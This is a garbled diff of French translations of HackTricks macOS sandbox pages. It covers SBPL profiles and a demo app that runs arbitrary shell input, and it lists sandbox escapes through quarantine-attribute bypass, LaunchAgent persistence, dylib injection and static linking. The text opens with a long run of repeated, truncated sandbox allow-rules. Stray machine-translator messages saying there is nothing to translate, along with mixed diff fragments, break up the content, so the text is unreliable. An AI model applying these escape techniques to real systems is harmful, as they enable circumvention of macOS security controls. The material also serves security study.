(allow file-write-data (subpath "/System/Library/Keyboard Layouts/"))
(allow file-write-data (subpath "/System/Library/ColorSync/Profiles/"))
(allow file-write-data (subpath "/System/Library/Fonts/"))
(allow file-write-data (subpath "/System/Library/Screen Savers/"))
(allow file-write-data (subpath "/System/Library/Spotlight/"))
(allow file-write-data (subpath "/System/Library/QuickTime/"))
(allow file-write-data (subpath "/System/Library/PreferencePanes/"))
(allow file-write-data (subpath "/System/Library/Extensions/"))
(allow file-write-data (subpath "/System/Library/CoreServices/"))
(allow file-write-data (subpath "/System/Library/Frameworks/"))
(allow file-write-data (subpath "/System/Library/Services/"))
(allow file-write-data (subpath "/System/Library/UserEventPlugins/"))
(allow file-write-data (subpath "/System/Library/Keyboard Layouts/"))
(allow file-write-data (subpath "/System/Library/ColorSync/Profiles/"))
(allow file-write-data (subpath "/System/Library/Fonts/"))
(allow file-write-data (subpath "/System/Library/Screen Savers/"))
(allow file-write-data (subpath "/System/Library/Spotlight/"))
(allow file-write-data (subpath "/System/Library/QuickTime/"))
(allow file-write-data (subpath "/System/Library/PreferencePanes/"))
(allow file-write-data (subpath "/System/Library/Extensions/"))
(allow file-write-data (subpath "/System/Library/CoreServices/"))
(allow file-write-data (subpath "/System/Library/Frameworks/"))
(allow file-write-data (subpath "/System/Library/Services/"))
(allow file-write-data (subpath "/System/Library/UserEventPlugins/"))
(allow file-write-data (subpath "/System/Library/Keyboard Layouts/"))
(allow file-write-data (subpath "/System/Library/ColorSync/Profiles/"))
(allow file-write-data (subpath "/System/Library/Fonts/"))
(allow file-write-data (subpath "/System/Library/Screen Savers/"))
(allow file-write-data (subpath "/System/Library/Spotlight/"))
(allow file-write-data (subpath "/System/Library/QuickTime/"))
(allow file-write-data (subpath "/System/Library/PreferencePanes/"))
(allow file-write-data (subpath "/System/Library/Extensions/"))
(allow file-write-data (subpath "/System/Library/CoreServices/"))
(allow file-write-data (subpath "/System/Library/Frameworks/"))
(allow file-write-data (subpath "/System/Library/Services/"))
(allow file-write-data (subpath "/System/Library/UserEventPlugins/"))
(allow file-write-data (subpath "/System/Library/Keyboard Layouts/"))
(allow file-write-data (subpath "/System/Library/ColorSync/Profiles/"))
(allow file-write-data (subpath "/System/Library/Fonts/"))
(allow file-write-data (subpath "/System/Library/Screen Savers/"))
(allow file
```scheme
(version 1)
(deny default)
(allow file* (literal "/tmp/hacktricks.txt"))
```
{% endcode %}
Since there is no content provided to translate, I cannot proceed with a translation. If you provide the English text from the specified file, I will be able to translate it into French for you. Please provide the relevant English text to continue.
```bash
# This will fail because default is denied, so it cannot execute touch
sandbox-exec -f touch.sb touch /tmp/hacktricks.txt
@ -429,7 +180,7 @@ log show --style syslog --predicate 'eventMessage contains[c] "sandbox"' --last
2023-05-26 13:42:52.701382+0200 localhost kernel[0]: (Sandbox) 5 duplicate reports for Sandbox: sandbox-exec(41398) deny(1) file-read-metadata /var
[...]
```
{% code title="touch2.sb" %}
Le contenu fourni est un élément de syntaxe Markdown pour un bloc de code avec un titre "touch2.sb". Il n'y a pas de texte anglais à traduire. Veuillez fournir le texte anglais pertinent pour la traduction.
```scheme
(version 1)
(deny default)
@ -443,7 +194,7 @@ log show --style syslog --predicate 'eventMessage contains[c] "sandbox"' --last
; 2023-05-26 13:44:59.840050+0200 localhost kernel[0]: (Sandbox) Sandbox: touch(41575) deny(1) sysctl-read kern.bootargs
; 2023-05-26 13:44:59.840061+0200 localhost kernel[0]: (Sandbox) Sandbox: touch(41575) deny(1) file-read-data /
```
{% code title="touch3.sb" %}
Le contenu fourni ne contient pas de texte à traduire. Veuillez fournir le texte anglais pertinent pour que je puisse effectuer la traduction en français.
```scheme
(version 1)
(deny default)
@ -457,39 +208,39 @@ log show --style syslog --predicate 'eventMessage contains[c] "sandbox"' --last
{% endtabs %}
{% hint style="info" %}
Notez que le **logiciel** **développé par Apple** qui s'exécute sur **Windows** **n'a pas de précautions de sécurité supplémentaires**, telles que l'isolation des applications.
Notez que le **logiciel écrit par Apple** qui fonctionne sur **Windows** **n'a pas de précautions de sécurité supplémentaires**, telles que le confinement des applications (sandboxing).
{% endhint %}
Exemples de contournements :
* [https://lapcatsoftware.com/articles/sandbox-escape.html](https://lapcatsoftware.com/articles/sandbox-escape.html)
* [https://desi-jarvis.medium.com/office365-macos-sandbox-escape-fcce4fa4123c](https://desi-jarvis.medium.com/office365-macos-sandbox-escape-fcce4fa4123c) (ils peuvent écrire des fichiers en dehors de l'isolation dont le nom commence par `~$`).
* [https://desi-jarvis.medium.com/office365-macos-sandbox-escape-fcce4fa4123c](https://desi-jarvis.medium.com/office365-macos-sandbox-escape-fcce4fa4123c) (ils peuvent écrire des fichiers en dehors du sandbox dont le nom commence par `~$`).
### Profils de l'isolation de macOS
### Profils de Sandbox MacOS
macOS stocke les profils d'isolation système dans deux emplacements : **/usr/share/sandbox/** et **/System/Library/Sandbox/Profiles**.
macOS stocke les profils de sandbox système dans deux emplacements : **/usr/share/sandbox/** et **/System/Library/Sandbox/Profiles**.
Et si une application tierce possède l'attribution _**com.apple.security.app-sandbox**_, le système applique le profil **/System/Library/Sandbox/Profiles/application.sb** à ce processus.
Et si une application tierce possède le droit _**com.apple.security.app-sandbox**_, le système applique le profil **/System/Library/Sandbox/Profiles/application.sb** à ce processus.
### Profil d'isolation d'iOS
### **Profil Sandbox iOS**
Le profil par défaut s'appelle **container** et nous n'avons pas la représentation textuelle SBPL. En mémoire, cette isolation est représentée comme un arbre binaire Autoriser/Refuser pour chaque autorisation de l'isolation.
Le profil par défaut s'appelle **container** et nous n'avons pas la représentation textuelle SBPL. En mémoire, ce sandbox est représenté comme un arbre binaire Autoriser/Refuser pour chaque permission du sandbox.
### Débogage et contournement de l'isolation
### Déboguer & Contourner le Sandbox
**Les processus ne naissent pas isolés sur macOS : contrairement à iOS**, où l'isolation est appliquée par le noyau avant la première instruction d'un programme, sur macOS **un processus doit choisir de se placer dans l'isolation.**
**Les processus ne naissent pas confinés sur macOS : contrairement à iOS**, où le sandbox est appliqué par le noyau avant la première instruction d'un programme, sur macOS **un processus doit choisir de se placer lui-même dans le sandbox.**
Les processus sont automatiquement isolés depuis l'espace utilisateur lorsqu'ils démarrent s'ils ont l'attribution : `com.apple.security.app-sandbox`. Pour une explication détaillée de ce processus, consultez :
Les processus sont automatiquement confinés depuis l'espace utilisateur lorsqu'ils démarrent s'ils possèdent le droit : `com.apple.security.app-sandbox`. Pour une explication détaillée de ce processus, consultez :
{% content-ref url="macos-sandbox-debug-and-bypass/" %}
[macos-sandbox-debug-and-bypass](macos-sandbox-debug-and-bypass/)
{% endcontent-ref %}
### Vérification des privilèges PID
### **Vérifier les Privilèges d'un PID**
[Selon cela](https://www.youtube.com/watch?v=mG715HcDgO8\&t=3011s), la fonction **`sandbox_check`** (c'est un `__mac_syscall`), peut vérifier **si une opération est autorisée ou non** par l'isolation dans un PID donné.
[**Selon ceci**](https://www.youtube.com/watch?v=mG715HcDgO8\&t=3011s), le **`sandbox_check`** (c'est un `__mac_syscall`), peut vérifier **si une opération est autorisée ou non** par le sandbox pour un certain PID.
L'outil [**sbtool**](http://newosxbook.com/src.jl?tree=listings\&file=sbtool.c) peut vérifier si un PID peut effectuer une certaine action :
L'[**outil sbtool**](http://newosxbook.com/src.jl?tree=listings\&file=sbtool.c) peut vérifier si un PID peut effectuer une certaine action :
```bash
sbtool <pid> mach #Check mac-ports (got from launchd with an api)
sbtool <pid> file /tmp #Check file access
@ -498,9 +249,9 @@ sbtool <pid> all
```
### Profils SBPL personnalisés dans les applications de l'App Store
Il est possible pour les entreprises de faire fonctionner leurs applications avec des profils Sandbox personnalisés (au lieu de celui par défaut). Elles doivent utiliser l'attribution `com.apple.security.temporary-exception.sbpl` qui doit être autorisée par Apple.
Il pourrait être possible pour les entreprises de faire fonctionner leurs applications **avec des profils Sandbox personnalisés** (au lieu de celui par défaut). Elles doivent utiliser le droit **`com.apple.security.temporary-exception.sbpl`** qui doit être autorisé par Apple.
Il est possible de vérifier la définition de cette attribution dans `/System/Library/Sandbox/Profiles/application.sb:`
Il est possible de vérifier la définition de ce droit dans **`/System/Library/Sandbox/Profiles/application.sb:`**
```scheme
(sandbox-array-entitlement
"com.apple.security.temporary-exception.sbpl"
@ -508,16 +259,18 @@ Il est possible de vérifier la définition de cette attribution dans `/System/L
(let* ((port (open-input-string string)) (sbpl (read port)))
(with-transparent-redirection (eval sbpl)))))
```
Cela **évaluera la chaîne après cette autorisation** en tant que profil Sandbox.
Cela **évaluera la chaîne après ce droit** comme un profil Sandbox.
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
Autres moyens de soutenir HackTricks :
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez**-moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -2,17 +2,19 @@
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? Ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
Autres moyens de soutenir HackTricks :
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez**-moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
Sur cette page, vous pouvez trouver comment créer une application pour exécuter des commandes arbitraires à partir du bac à sable par défaut de macOS :
Sur cette page, vous pouvez trouver comment créer une application pour lancer des commandes arbitraires depuis l'intérieur du bac à sable par défaut de macOS :
1. Compilez l'application :
@ -46,11 +48,13 @@ system(input);
return 0;
}
```
```
{% endcode %}
Compilez-le en exécutant : `clang -framework Foundation -o SandboxedShellApp main.m`
2. Construisez le bundle `.app`
```
```bash
mkdir -p SandboxedShellApp.app/Contents/MacOS
mv SandboxedShellApp SandboxedShellApp.app/Contents/MacOS/
@ -72,7 +76,7 @@ cat << EOF > SandboxedShellApp.app/Contents/Info.plist
</plist>
EOF
```
3. Définir les privilèges
3. Définir les droits
{% tabs %}
{% tab title="sandbox" %}
@ -88,6 +92,8 @@ cat << EOF > entitlements.plist
</plist>
EOF
```
{% endtab %}
{% tab title="sandbox + téléchargements" %}
```bash
cat << EOF > entitlements.plist
@ -106,7 +112,7 @@ EOF
{% endtab %}
{% endtabs %}
4. Signez l'application (vous devez créer un certificat dans le trousseau de clés)
4. Signez l'application (vous devez créer un certificat dans le trousseau)
```bash
codesign --entitlements entitlements.plist -s "YourIdentity" SandboxedShellApp.app
./SandboxedShellApp.app/Contents/MacOS/SandboxedShellApp
@ -116,12 +122,14 @@ codesign --remove-signature SandboxedShellApp.app
```
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? Ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
Autres moyens de soutenir HackTricks :
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez**-moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -1,69 +1,72 @@
# Débogage et contournement du sandbox macOS
# Débogage et contournement du bac à sable macOS
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
Autres moyens de soutenir HackTricks :
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
## Processus de chargement du sandbox
## Processus de chargement du bac à sable
<figure><img src="../../../../../.gitbook/assets/image (2) (1) (2).png" alt=""><figcaption><p>Image de <a href="http://newosxbook.com/files/HITSB.pdf">http://newosxbook.com/files/HITSB.pdf</a></p></figcaption></figure>
Sur l'image précédente, il est possible d'observer **comment le sandbox sera chargé** lorsqu'une application avec l'entitlement **`com.apple.security.app-sandbox`** est exécutée.
Dans l'image précédente, il est possible d'observer **comment le bac à sable sera chargé** lorsqu'une application avec le droit **`com.apple.security.app-sandbox`** est exécutée.
Le compilateur liera `/usr/lib/libSystem.B.dylib` au binaire.
Ensuite, **`libSystem.B`** appellera plusieurs autres fonctions jusqu'à ce que **`xpc_pipe_routine`** envoie les entitlements de l'application à **`securityd`**. Securityd vérifie si le processus doit être mis en quarantaine à l'intérieur du sandbox, et le cas échéant, il sera mis en quarantaine.\
Enfin, le sandbox sera activé par un appel à **`__sandbox_ms`** qui appellera **`__mac_syscall`**.
Ensuite, **`libSystem.B`** appellera plusieurs autres fonctions jusqu'à ce que **`xpc_pipe_routine`** envoie les droits de l'application à **`securityd`**. Securityd vérifie si le processus doit être mis en quarantaine dans le bac à sable, et si c'est le cas, il sera mis en quarantaine.\
Finalement, le bac à sable sera activé avec un appel à **`__sandbox_ms`** qui appellera **`__mac_syscall`**.
## Possibles contournements
## Contournements possibles
### Contournement de l'attribut de quarantaine
### Contourner l'attribut de quarantaine
Les **fichiers créés par des processus sandbox** se voient attribuer l'**attribut de quarantaine** pour empêcher l'évasion du sandbox. Cependant, si vous parvenez à **créer un dossier `.app` sans l'attribut de quarantaine** à l'intérieur d'une application sandbox, vous pourriez faire en sorte que le binaire du bundle de l'application pointe vers **`/bin/bash`** et ajouter quelques variables d'environnement dans le **plist** pour abuser de la fonctionnalité **`open`** et **lancer la nouvelle application sans sandbox**.
**Les fichiers créés par les processus en bac à sable** se voient ajouter l'**attribut de quarantaine** pour empêcher les évasions du bac à sable. Cependant, si vous parvenez à **créer un dossier `.app` sans l'attribut de quarantaine** au sein d'une application en bac à sable, vous pourriez faire en sorte que le binaire du bundle d'applications pointe vers **`/bin/bash`** et ajouter des variables d'environnement dans le **plist** pour abuser de **`open`** afin de **lancer la nouvelle application hors bac à sable**.
C'est ce qui a été fait dans [**CVE-2023-32364**](https://gergelykalman.com/CVE-2023-32364-a-macOS-sandbox-escape-by-mounting.html)**.**
{% hint style="danger" %}
Par conséquent, pour le moment, si vous êtes simplement capable de créer un dossier portant un nom se terminant par **`.app`** sans attribut de quarantaine, vous pouvez échapper au sandbox car macOS ne **vérifie** que l'attribut de **quarantaine** dans le **dossier `.app`** et dans l'**exécutable principal** (et nous pointerons l'exécutable principal vers **`/bin/bash`**).
Par conséquent, actuellement, si vous êtes juste capable de créer un dossier avec un nom se terminant par **`.app`** sans attribut de quarantaine, vous pouvez échapper au bac à sable car macOS ne **vérifie** l'attribut de **quarantaine** que dans le dossier **`.app`** et dans l'**exécutable principal** (et nous ferons pointer l'exécutable principal vers **`/bin/bash`**).
Notez que si un bundle .app a déjà été autorisé à s'exécuter (il a un xttr de quarantaine avec le drapeau autorisé à s'exécuter), vous pourriez également l'abuser... sauf que maintenant vous ne pouvez pas écrire à l'intérieur des bundles **`.app`** à moins d'avoir des autorisations TCC privilégiées (ce que vous n'aurez pas dans un sandbox élevé).
Notez que si un bundle .app a déjà été autorisé à s'exécuter (il a un xttr de quarantaine avec le drapeau autorisé à exécuter activé), vous pourriez également en abuser... sauf que maintenant vous ne pouvez pas écrire à l'intérieur des bundles **`.app`** à moins que vous n'ayez des permissions TCC privilégiées (que vous n'aurez pas dans un bac à sable élevé).
{% endhint %}
### Abus de la fonctionnalité Open
### Abuser de la fonctionnalité Open
Dans les [**derniers exemples de contournement du sandbox Word**](macos-office-sandbox-bypasses.md#word-sandbox-bypass-via-login-items-and-.zshenv), on peut voir comment la fonctionnalité **`open`** peut être abusée pour contourner le sandbox.
Dans les [**derniers exemples de contournement du bac à sable Word**](macos-office-sandbox-bypasses.md#word-sandbox-bypass-via-login-items-and-.zshenv), on peut voir comment la fonctionnalité cli **`open`** pourrait être abusée pour contourner le bac à sable.
{% content-ref url="macos-office-sandbox-bypasses.md" %}
[macos-office-sandbox-bypasses.md](macos-office-sandbox-bypasses.md)
{% endcontent-ref %}
### Agents/Daemons de lancement
### Agents/Démons de lancement
Même si une application est **censée être sandboxée** (`com.apple.security.app-sandbox`), il est possible de contourner le sandbox si elle est **exécutée à partir d'un LaunchAgent** (`~/Library/LaunchAgents`) par exemple.\
Comme expliqué dans [**cet article**](https://www.vicarius.io/vsociety/posts/cve-2023-26818-sandbox-macos-tcc-bypass-w-telegram-using-dylib-injection-part-2-3?q=CVE-2023-26818), si vous souhaitez obtenir une persistance avec une application qui est sandboxée, vous pouvez la faire s'exécuter automatiquement en tant que LaunchAgent et peut-être injecter du code malveillant via des variables d'environnement DyLib.
Même si une application est **censée être en bac à sable** (`com.apple.security.app-sandbox`), il est possible de contourner le bac à sable si elle est **exécutée à partir d'un LaunchAgent** (`~/Library/LaunchAgents`) par exemple.\
Comme expliqué dans [**ce post**](https://www.vicarius.io/vsociety/posts/cve-2023-26818-sandbox-macos-tcc-bypass-w-telegram-using-dylib-injection-part-2-3?q=CVE-2023-26818), si vous souhaitez obtenir de la persistance avec une application en bac à sable, vous pourriez la faire exécuter automatiquement en tant que LaunchAgent et peut-être injecter du code malveillant via des variables d'environnement DyLib.
### Abus des emplacements de démarrage automatique
### Abuser des emplacements de démarrage automatique
Si un processus sandboxé peut **écrire** dans un emplacement où **ultérieurement une application non sandboxée va exécuter le binaire**, il pourra **s'échapper simplement en plaçant** le binaire là-bas. Un bon exemple de ce type d'emplacements sont `~/Library/LaunchAgents` ou `/System/Library/LaunchDaemons`.
Si un processus en bac à sable peut **écrire** à un endroit où **plus tard une application non en bac à sable exécutera le binaire**, il pourra **s'échapper simplement en plaçant** là le binaire. Un bon exemple de ce type d'emplacements sont `~/Library/LaunchAgents` ou `/System/Library/LaunchDaemons`.
Pour cela, vous pourriez même avoir besoin de **2 étapes** : faire en sorte qu'un processus avec un sandbox **plus permissif** (`file-read*`, `file-write*`) exécute votre code qui écrira effectivement dans un emplacement où il sera **exécuté sans sandbox**.
Pour cela, vous pourriez même avoir besoin de **2 étapes** : Faire exécuter votre code par un processus avec un bac à sable **plus permissif** (`file-read*`, `file-write*`) qui écrira réellement à un endroit où il sera **exécuté hors bac à sable**.
Consultez cette page sur les **emplacements de démarrage automatique** :
{% content-ref url="../../../../macos-auto-start-locations.md" %}
[macos-auto-start-locations.md](../../../../macos-auto-start-locations.md)
{% endcontent-ref %}
### Abus des autres processus
Si vous parvenez à **compromettre d'autres processus** s'exécutant dans des sandbox moins restrictives (ou aucune), vous pourrez échapper à leurs sandbox :
### Abuser d'autres processus
Si depuis le processus en bac à sable vous êtes capable de **compromettre d'autres processus** fonctionnant dans des bacs à sable moins restrictifs (ou aucun), vous pourrez vous échapper vers leurs bacs à sable :
{% content-ref url="../../../macos-proces-abuse/" %}
[macos-proces-abuse](../../../macos-proces-abuse/)
@ -71,21 +74,21 @@ Si vous parvenez à **compromettre d'autres processus** s'exécutant dans des sa
### Compilation statique et liaison dynamique
[**Cette recherche**](https://saagarjha.com/blog/2020/05/20/mac-app-store-sandbox-escape/) a découvert 2 façons de contourner la sandbox. Étant donné que la sandbox est appliquée depuis l'espace utilisateur lorsque la bibliothèque **libSystem** est chargée. Si un binaire pouvait éviter de la charger, il ne serait jamais sandboxé :
[**Cette recherche**](https://saagarjha.com/blog/2020/05/20/mac-app-store-sandbox-escape/) a découvert 2 façons de contourner le bac à sable. Parce que le bac à sable est appliqué depuis l'espace utilisateur lorsque la bibliothèque **libSystem** est chargée. Si un binaire pouvait éviter de la charger, il ne serait jamais mis en bac à sable :
* Si le binaire était **complètement compilé en statique**, il pourrait éviter de charger cette bibliothèque.
* Si le **binaire n'avait pas besoin de charger de bibliothèques** (car le lien est également dans libSystem), il n'aurait pas besoin de charger libSystem.&#x20;
* Si le binaire était **entièrement compilé statiquement**, il pourrait éviter de charger cette bibliothèque.
* Si le **binaire n'avait pas besoin de charger de bibliothèques** (car l'éditeur de liens est également dans libSystem), il n'aurait pas besoin de charger libSystem.
### Shellcodes
Notez que **même les shellcodes** en ARM64 doivent être liés à `libSystem.dylib`:
Notez que **même les shellcodes** en ARM64 doivent être liés à `libSystem.dylib` :
```bash
ld -o shell shell.o -macosx_version_min 13.0
ld: dynamic executables or dylibs must link with libSystem.dylib for architecture arm64
```
### Autorisations
### Droits
Notez que même si certaines **actions** peuvent être **autorisées par le sandbox**, si une application dispose d'une **autorisation spécifique**, comme dans l'exemple suivant :
Notez que même si certaines **actions** pourraient être **autorisées par le sandbox** si une application possède un droit spécifique, comme dans :
```scheme
(when (entitlement "com.apple.security.network.client")
(allow network-outbound (remote ip))
@ -95,9 +98,9 @@ Notez que même si certaines **actions** peuvent être **autorisées par le sand
(global-name "com.apple.cfnetwork.cfnetworkagent")
[...]
```
### Contournement de l'interposition
### Contournement par Interposition
Pour plus d'informations sur l'**interposition**, consultez :
Pour plus d'informations sur **l'Interposition**, consultez :
{% content-ref url="../../../mac-os-architecture/macos-function-hooking.md" %}
